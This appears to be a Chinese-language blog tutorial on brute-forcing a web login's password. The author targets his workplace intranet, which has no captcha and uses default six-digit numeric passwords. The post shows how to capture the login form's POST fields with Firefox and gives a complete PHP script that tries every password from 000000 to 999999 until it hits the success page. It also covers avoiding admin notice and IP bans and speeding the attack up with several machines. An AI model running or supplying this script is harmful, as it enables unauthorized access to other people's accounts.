有一种网站,没有验证码;有一种网站,你可以利用某种手段获取到登陆者的用户名(比如邮箱啦等等,用户名你是知道的),你所不知道的仅仅是登录密码,有没有什么方法可以破解呢?
我们单位有一个内网(虽是内网,但有时在家也可以登录),用户名可以搞到,密码原始是六位的数字(其实大多数人都没有修改过),而且牛叉的是,这个网站登录时,如果输入错误次数过多也不会让你输入验证码,这太好了,心中窃喜,可以用暴力破解法嘛。
暴力破解,要用到遍历,直到试出你要的用户名为止,这些都简单,关键是如何用技术去实现。其实这种技术,说白了就是网络机器人,网络机器人有很多种,有名字的比如蜘蛛、爬虫等等,大概就是依据对http协议的了解,去编写自动化的网络操作。注意,自动化这三个字很关键,因为传统的浏览器模式无法实现自动化。
编写这个暴力破解网站密码的网络机器人,要用到php,因为php简直就是为了网络而生的,有相当方便的函数供使用,很方便,而且php是脚本语言,用起来也容易。在这里,我是拿php当shell脚本用的,直接在windows的控制台里执行,没这么用过的哥们自己上网找找,这我就不过多解释了。
本次破解过程所用到的原材料有:php环境,firfox,一个名为LIB_http.php的php库(是某个大牛写的,我这里借用一下,会用到这个库里的http()函数,这个库的下载连接地址为:http://www.webbotsspidersscreenscrapers.com/DSP_download.php),好了,就这三个,下面开讲。
先说说破解的大致思路,正常情况下我们用浏览器,填写用户名和密码,然后点击提交按钮,信息就被发送到后端,如果用户名和密码错误,将返回登陆页面,反之则返回成功页面。
那么,我们要做的就是,模拟浏览器的这种行为,然后根据返回的结果判定密码是否正确。
第一步,为了完全100%的模拟浏览器,我们必须先要知晓点击“提交”按钮后,都发送了哪些数据,如果只发送密码和用户名,其他数据对不上,后台服务器就会产生一个异常,而且更可怕的是,这会引起管理员的注意,搞不好会封掉你的ip,那你就玩完了。
关键是怎么才能知道提交了哪些数据呢?用firfox吧,里面有一个很牛叉的功能。用firfox登录你想破解的网站,单击右键选择“查看元素”,点“控制台”,点“网络”下拉框,选中“记录请求和响应主体”。这样一来就可以利用firfox为我们抓包了。之前有人推荐firdebug,未免是大材小用了,其实firfox原本的东东就够了,而且很好。在登录页面上随便输入一个用户名和密码,点击“登录”,可以在控制台看到http请求,一般要找post型的。点击打开,在“已发送表单数据”可以看到都发送了那些数据,要记录下来,一些asp.net的网站,由于用到了一些验证控件,会出现不少东西,比如__VIEWSTATE之类的,甭管它,记下来,过会用。对了,有一点忘说了,用firfox这个工具,还可以知道提交的目标地址(比如有时候是一个servlet,或者是jsp,aspx都可能,要看好)和上连接(不知道上连接的请自行补脑)。
知道发什么数据了,就要开始编程序了,源代码如下:
<?php include("php_lib/LIB_http.php"); error_reporting(E_ALL^E_NOTICE);//除去notice提示 $action="登陆页面提交的后台地址,查看方法上面已讲"; $method="POST";//注意,必须是大写,GET方法也一样 $ref="上连接地址,查看方法上面已讲"; $data_array['ctl00$MainContent$tbStuId']="";//要发送的数据,都写到一个数组里,数据的查看方法上面已讲。 $data_array['ctl00$MainContent$tbIdentityId']=""; $data_array['ctl00$MainContent$LoginUser$UserName']="用户名"; //$data_array['ctl00$MainContent$LoginUser$Password']=$strpass(密码); $data_array['ctl00$MainContent$LoginUser$LoginButton']="登录"; $data_array['__VIEWSTATE']="/wEPDwUKMTM2OTQ5MzkyMA9kFgJmD2QWAgIDD2QWBgIDDw9kFgIeBXN0eWxlBRJtYXJnaW4tbGVmdDoxNjBweDsWBAIBDzwrAAUBAA8WAh4HVmlzaWJsZWhkZAIDDw9kFgIfAAUzZGlzcGxheTpibG9jazttYXJnaW4tbGVmdDoxMDBweDttYXJnaW4tcmlnaHQ6MTAwcHg7ZAIFDw8WBh4FV2lkdGgbAAAAAAAAZEABAAAAHgRfIVNCAoACHwFoZGQCBw8PFgIeBFRleHQF+AHljJfkuqzluILlrabnlJ/otYTliqnkuovliqHnrqHnkIbkuK3lv4PniYjmnYPmiYDmnIkmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDvljJfkuqzlt6XllYblpKflrabnoJTliLYmbmJzcDsmbmJzcDsmbmJzcDvCqTIwMTEtMjAxM2RkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBSZjdGwwMCRNYWluQ29udGVudCRMb2dpblVzZXIkUmVtZW1iZXJNZcVB092mLxjWH8VqPqNfoiesnMTTfv/8XLUqN0IvHeWh";$data_array['__EVENTVALIDATION']="/wEdAAg4OGQHZT9XqX7BisSv3xvacc3fpmfwSgCZgt7RGgsQTYT2MeBFtJvt+JB+if6UByL53d8HLcsMPPSWw23i74K4rVJzD9epthGmOWrcxXKP7u1vquycB/s6+IJJa4hgd+jsl1raoinWIrD1aNCfPQQ5CQtH8leGQTiMCnhMu4O3EZWz6MelE6yxI8DG7fS+/BYQQRNWIIZPR21FZQRefgAc";$data_array['__EVENTTARGET']=""; $data_array['__EVENTARGUMENT']=""; for($pass=000000; $pass<999999;$pass++){ $strpass=strval($pass); $data_array['ctl00$MainContent$LoginUser$Password']=$strpass; $response = http($target=$action,$ref,$method,$data_array,EXCL_HEAD); $str = $response['STATUS']; echo $pass." "; if($str['url']=="登录成功后的跳转页面"){ echo "\n\n\nthe result is:".$pass."\n";//输出密码 return; } //echo $str['url']."\n"; }
?>
上面的代码完全没问题,你要改动的,仅仅是$data_array数组的内容,这要依据firfox去查看。上面的数组$data_array内容是我自己的,你们破解的时候还是要用firfox自己去看,一定不能错,否走后台出异常,而且数据不能多,不能少,类型也必须对。
好吧,就到这里了,如果你网速快的话,1分钟试验300~400个密码没有问题,如果多用几台电脑就更快了,在我写这段文字的时候,我的电脑还在破解一个密码,要等到明天一早了,先睡了。对了,这都告诉你们了,可千万别干坏事啊。